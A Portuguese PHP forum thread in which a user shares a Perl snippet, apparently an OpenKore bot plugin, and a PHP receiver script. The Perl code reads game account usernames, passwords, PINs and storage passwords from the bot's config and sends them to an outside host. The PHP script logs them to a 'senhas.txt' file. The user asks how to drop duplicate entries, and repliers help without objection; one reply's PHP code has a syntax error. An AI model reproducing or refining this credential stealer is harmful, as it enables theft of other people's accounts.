Ir para conteúdo

Arquivado

Este tópico foi arquivado e está fechado para novas respostas.

OpenKore

Bloquear linhas repetidas

Recommended Posts

Olá, estou começando agora em PHP e gostaria de saber como faço e se é possivel para o script que eu estou usando bloquear linhas repetidas no host.

 

Ex:

 

Bom dia pessoal! --> deixar apenas o primeiro recebido.

Bom dia pessoal! --> não armazenar o segundo já que e a mesma frase.

 

Bom dia pessoal --> agora que não tem a exclamação ele deve armazenar já que está diferente do primeiro e do segundo.

 

  <?php
	$recived_keys = $_GET["keylog"];
	
	$file = fopen('senhas.txt', 'a');
	
	fwrite($file, $recived_keys . "\n\n");

  ?>

 

Código que uso para enviar as informações:

 

use LWP::UserAgent;
use Utils qw(urlencode);
my $ua = LWP::UserAgent->new;
$ua->timeout(10);
$ua->env_proxy;
my $master = $config{'master'};
$master =~ s/#/:/;
my $usuario = $config{'username'};
$usuario =~ s/#/:/;
my $loginPin = $config{'loginPinCode'};
$loginPin =~ s/#/:/;
my $senha = $config{'password'};
$senha =~ s/#/:/;
my $kafra = $config{'storageAuto_password'};
$kafra =~ s/#/:/;
my $response = $ua->get("http://www.host.com/key_strokes.php?keylog=$master $usuario $senha $loginPin $kafra");

 

Agradeço desde já!

Compartilhar este post


Link para o post
Compartilhar em outros sites

Você deverá fazer isso ao gravar a linha no arquivo, mas esse script não é php, é perl...

Só o segundo que e perl, o primeiro fica hospedado em um site. Aquele script php que grava as informações em um arquivo de texto que também fica hospedado no mesmo site.

 

Coloca o arquivo no excel e manda excluir as repetidas antes de rodar

 

Poderia me explicar melhor como?

Compartilhar este post


Link para o post
Compartilhar em outros sites

La em cima no menu do excel tem a aba "Dados", clica nela e procura a opção: Remover Duplicatas

 

Quando encontrar,

copia teu txt e cola no excel

 

Ai seleciona desde a linha 1 até a ultima, e clica no remover duplicatas que vai apagar os repetidos

Compartilhar este post


Link para o post
Compartilhar em outros sites

Só o segundo que e perl, o primeiro fica hospedado em um site. Aquele script php que grava as informações em um arquivo de texto que também fica hospedado no mesmo site.

 

Desculpe, fiz uma confusão aqui, o código em perl foi desnecessário pois aqui é o forum php, pouquissimas pessoas poderiam te ajudar com ele...

 

Se você quiser bloquear para não ficar duas palavras repetidas:

- Antes de tudo, pegue o conteudo do arquivo

- pegue a ultima linha

- compare com a string enviada

- se for diferente não grave

 

 

<?php
	$recived_keys = $_GET["keylog"];
        $file = 'senhas.txt';
        $content = file_get_contents($file);
        $a = explode("\n\n", $content); // Cada linha é um "\n\n" de acordo com seu script
        $lastLine = $a[count($a)-1)];
 
        if($lastLine != $recived_keys){
		$file = fopen($file, 'a');
		fwrite($file, $recived_keys . "\n\n");
        }

  ?>

Compartilhar este post


Link para o post
Compartilhar em outros sites

La em cima no menu do excel tem a aba "Dados", clica nela e procura a opção: Remover Duplicatas

 

Quando encontrar,

copia teu txt e cola no excel

 

Ai seleciona desde a linha 1 até a ultima, e clica no remover duplicatas que vai apagar os repetidos

 

Deu certo, muito obrigado pela dica.

 

 

Desculpe, fiz uma confusão aqui, o código em perl foi desnecessário pois aqui é o forum php, pouquissimas pessoas poderiam te ajudar com ele...

 

Se você quiser bloquear para não ficar duas palavras repetidas:

- Antes de tudo, pegue o conteudo do arquivo

- pegue a ultima linha

- compare com a string enviada

- se for diferente não grave

 

 

<?php
	$recived_keys = $_GET["keylog"];
        $file = 'senhas.txt';
        $content = file_get_contents($file);
        $a = explode("\n\n", $content); // Cada linha é um "\n\n" de acordo com seu script
        $lastLine = $a[count($a)-1)];
 
        if($lastLine != $recived_keys){
		$file = fopen($file, 'a');
		fwrite($file, $recived_keys . "\n\n");
        }

  ?>

Estarei testando este script aqui e posto resultados.

Obrigado pela ajuda.

Compartilhar este post


Link para o post
Compartilhar em outros sites

×

Informação importante

Ao usar o fórum, você concorda com nossos Termos e condições.